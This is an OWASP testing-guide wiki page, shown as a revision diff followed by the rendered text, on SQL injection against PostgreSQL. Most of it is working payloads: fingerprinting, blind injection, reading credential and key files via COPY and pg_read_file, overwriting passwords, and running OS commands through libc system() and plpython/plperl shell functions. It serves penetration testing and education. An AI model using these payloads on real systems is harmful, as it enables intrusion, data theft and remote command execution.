Difference between revisions of "OWASP Backend Security Project Testing PostgreSQL"

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= Overview =
 
= Overview =
  
In this paragraph, some SQL Injection techniques for PostgreSQL will be discussed.
+
In this section, some SQL Injection techniques for PostgreSQL will be discussed. These techniques have the following characteristics:
Keep in mind the following characteristics:
+
  
 
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
 
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
Line 8: Line 7:
 
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''
 
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''
  
From here after, we assume that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.
+
From now on it is assumed that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.
 +
 
  
 
= Description =
 
= Description =
  
== Identifing PostgreSQL ==
+
== Identifying PostgreSQL ==
  
 
When a SQL Injection has been found, you need to carefully  
 
When a SQL Injection has been found, you need to carefully  
 
fingerprint the backend database engine. You can determine that the backend database engine
 
fingerprint the backend database engine. You can determine that the backend database engine
 
is PostgreSQL by using the ''::'' cast operator.
 
is PostgreSQL by using the ''::'' cast operator.
 +
  
 
'''Examples:'''
 
'''Examples:'''
 
   <nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>
 
   <nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>
  
The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.
+
 
 +
In addition, the function ''version()'' can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.
 +
 
  
 
'''Example''':
 
'''Example''':
  
 
   <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
 
   <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
+
 
 +
 
 +
An example of a banner string that could be returned is:
 +
  PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
 +
 
  
 
== Blind Injection ==
 
== Blind Injection ==
 +
  
 
For blind SQL injection attacks, you should take into consideration the following built-in functions:
 
For blind SQL injection attacks, you should take into consideration the following built-in functions:
Line 39: Line 47:
 
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''
 
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''
  
Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current
 
session process sleep for ''n'' seconds.
 
  
In previous version, you can easily create a custom ''pg_sleep(n)'' by using libc:
+
Starting at version 8.2, PostgreSQL introduced a built-in function, ''pg_sleep(n)'', to make the current
 +
session process sleep for ''n'' seconds. This function can be leveraged to execute timing attacks (discussed in detail at [[Blind SQL Injection]]).
 +
 
 +
 
 +
In addition, you can easily create a custom ''pg_sleep(n)'' in previous versions by using libc:
 
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
 
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
 +
  
 
== Single Quote unescape ==
 
== Single Quote unescape ==
Line 51: Line 62:
 
* chr(n): Returns the character whose ASCII value corresponds to the number n
 
* chr(n): Returns the character whose ASCII value corresponds to the number n
 
* ascii(n): Returns the ASCII value which corresponds to the character n
 
* ascii(n): Returns the ASCII value which corresponds to the character n
 +
  
 
Let's say you want to encode the string 'root':
 
Let's say you want to encode the string 'root':
Line 59: Line 71:
 
   select ascii('t')
 
   select ascii('t')
 
   116
 
   116
 +
  
 
We can encode 'root' as:  
 
We can encode 'root' as:  
 
   chr(114)||chr(111)||chr(111)||chr(116)
 
   chr(114)||chr(111)||chr(111)||chr(116)
 +
  
 
'''Example:'''  
 
'''Example:'''  
 
   <nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>
 
   <nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>
 +
  
 
== Attack Vectors ==
 
== Attack Vectors ==
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   SELECT usename FROM pg_user
 
   SELECT usename FROM pg_user
 
   SELECT getpgusername()
 
   SELECT getpgusername()
 +
  
 
'''Examples:'''
 
'''Examples:'''
 
   <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
 
   <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
 
   <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>
 
   <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>
 +
  
 
=== Current Database ===
 
=== Current Database ===
  
 
The built-in function current_database() returns the current database name.
 
The built-in function current_database() returns the current database name.
 +
  
 
'''Example''':
 
'''Example''':
  
 
   <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>
 
   <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>
 +
  
 
=== Reading from a file ===
 
=== Reading from a file ===
  
ProstgreSQL provides two ways to access a local file:
+
PostgreSQL provides two ways to access a local file:
 
* COPY statement
 
* COPY statement
 
* pg_read_file() internal function (starting from PostgreSQL 8.1)
 
* pg_read_file() internal function (starting from PostgreSQL 8.1)
 +
  
 
'''COPY:'''
 
'''COPY:'''
  
 
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.
 
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.
 +
  
 
'''Example:'''
 
'''Example:'''
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/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
 
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
 
</nowiki>
 
</nowiki>
 +
  
 
Data should be retrieved by performing a ''UNION Query SQL Injection'':
 
Data should be retrieved by performing a ''UNION Query SQL Injection'':
 
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement
 
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement
 
* retrieves a row at a time with UNION SQL Injection
 
* retrieves a row at a time with UNION SQL Injection
 +
  
 
'''Example:'''
 
'''Example:'''
Line 122: Line 145:
  
 
'''pg_read_file():'''
 
'''pg_read_file():'''
 +
  
 
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
 
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
 
DBMS data directory.
 
DBMS data directory.
 +
  
 
'''Examples:'''
 
'''Examples:'''
  
 
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>
 
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>
 +
  
 
=== Writing to a file ===
 
=== Writing to a file ===
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/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
 
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
 
</nowiki>
 
</nowiki>
 +
  
 
=== Shell Injection ===
 
=== Shell Injection ===
  
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting
+
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl.
languages such as python, perl, and tcl.
+
 
  
 
==== Dynamic Library ====
 
==== Dynamic Library ====
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Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
 
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
 
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
 
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
 +
  
 
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?
 
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?
 +
  
 
Here's a little trick:
 
Here's a little trick:
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* retrieve output from ''stdout''
 
* retrieve output from ''stdout''
 
*: ''SELECT system_out FROM stdout''
 
*: ''SELECT system_out FROM stdout''
 +
  
 
''' Example:'''
 
''' Example:'''
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/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
 
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
  
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
+
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
  
 
</nowiki>
 
</nowiki>
 +
  
 
==== plpython ====
 
==== plpython ====
Line 190: Line 221:
 
* Have fun with:
 
* Have fun with:
 
*: SELECT proxyshell(''os command'');
 
*: SELECT proxyshell(''os command'');
 +
  
 
'''Example:'''
 
'''Example:'''
Line 199: Line 231:
 
*Run an OS Command:
 
*Run an OS Command:
 
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''
 
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''
 +
  
 
==== plperl ====
 
==== plperl ====
  
 
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.
 
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.
 +
  
 
* Check if PL/perl-untrusted has been enabled:
 
* Check if PL/perl-untrusted has been enabled:
Line 212: Line 246:
 
* Have fun with:
 
* Have fun with:
 
*: SELECT proxyshell(''os command'');
 
*: SELECT proxyshell(''os command'');
 +
  
 
'''Example:'''
 
'''Example:'''
Line 220: Line 255:
 
*Run an OS Command:
 
*Run an OS Command:
 
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''
 
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''
 +
  
 
= References =
 
= References =
  
* OWASP : "[[Testing for SQL Injection]]"
+
* OWASP : "[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]"
  
* Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/
+
* OWASP : [[SQL Injection Prevention Cheat Sheet]]
  
 
* PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/
 
* PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/
  
 
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net
 
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

Revision as of 04:25, 19 May 2014

Overview

In this section, some SQL Injection techniques for PostgreSQL will be discussed. These techniques have the following characteristics:

  • PHP Connector allows multiple statements to be executed by using ; as a statement separator
  • SQL Statements can be truncated by appending the comment char: --.
  • LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generated by the query

From now on it is assumed that http://www.example.com/news.php?id=1 is vulnerable to SQL Injection attacks.


Description

Identifying PostgreSQL

When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine that the backend database engine is PostgreSQL by using the :: cast operator.


Examples:

 http://www.example.com/store.php?id=1 AND 1::int=1


In addition, the function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.


Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--


An example of a banner string that could be returned is:

 PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)


Blind Injection

For blind SQL injection attacks, you should take into consideration the following built-in functions:

  • String Length
    LENGTH(str)
  • Extract a substring from a given string
    SUBSTR(str,index,offset)
  • String representation with no single quotes
    CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)


Starting at version 8.2, PostgreSQL introduced a built-in function, pg_sleep(n), to make the current session process sleep for n seconds. This function can be leveraged to execute timing attacks (discussed in detail at Blind SQL Injection).


In addition, you can easily create a custom pg_sleep(n) in previous versions by using libc:

  • CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT


Single Quote unescape

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

  • chr(n): Returns the character whose ASCII value corresponds to the number n
  • ascii(n): Returns the ASCII value which corresponds to the character n


Let's say you want to encode the string 'root':

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116


We can encode 'root' as:

 chr(114)||chr(111)||chr(111)||chr(116)


Example:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--


Attack Vectors

Current User

The identity of the current user can be retrieved with the following SQL SELECT statements:

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()


Examples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--


Current Database

The built-in function current_database() returns the current database name.


Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--


Reading from a file

PostgreSQL provides two ways to access a local file:

  • COPY statement
  • pg_read_file() internal function (starting from PostgreSQL 8.1)


COPY:

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the postgres user.


Example:

 
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--


Data should be retrieved by performing a UNION Query SQL Injection:

  • retrieves the number of rows previously added in file_store with COPY statement
  • retrieves a row at a time with UNION SQL Injection


Example:

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

pg_read_file():


This function was introduced in PostgreSQL 8.1 and allows one to read arbitrary files located inside DBMS data directory.


Examples:

  • SELECT pg_read_file('server.key',0,1000);


Writing to a file

By reverting the COPY statement, we can write to the local file system with the postgres user rights

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--


Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl.


Dynamic Library

Until PostgreSQL 8.1, it was possible to add a custom function linked with libc:

  • CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT


Since system returns an int how we can fetch results from system stdout?


Here's a little trick:

  • create a stdout table
    CREATE TABLE stdout(id serial, system_out text)
  • executing a shell command redirecting its stdout
    SELECT system('uname -a > /tmp/test')
  • use a COPY statements to push output of previous command in stdout table
    COPY stdout(system_out) FROM '/tmp/test'
  • retrieve output from stdout
    SELECT system_out FROM stdout


Example:

 
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--



plpython

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user can do. It's not installed by default and can be enabled on a given database by CREATELANG

  • Check if PL/Python has been enabled on a database:
    SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
  • If not, try to enable:
    CREATE LANGUAGE plpythonu
  • If either of the above succeeded, create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
  • Have fun with:
    SELECT proxyshell(os command);


Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
  • Run an OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--


plperl

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as open. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the postgres user, to avoid the so-called application mask filtering of trusted/untrusted operations.


  • Check if PL/perl-untrusted has been enabled:
    SELECT count(*) FROM pg_language WHERE lanname='plperlu'
  • If not, assuming that sysadm has already installed the plperl package, try :
    CREATE LANGUAGE plperlu
  • If either of the above succeeded, create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu
  • Have fun with:
    SELECT proxyshell(os command);


Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
  • Run an OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--


References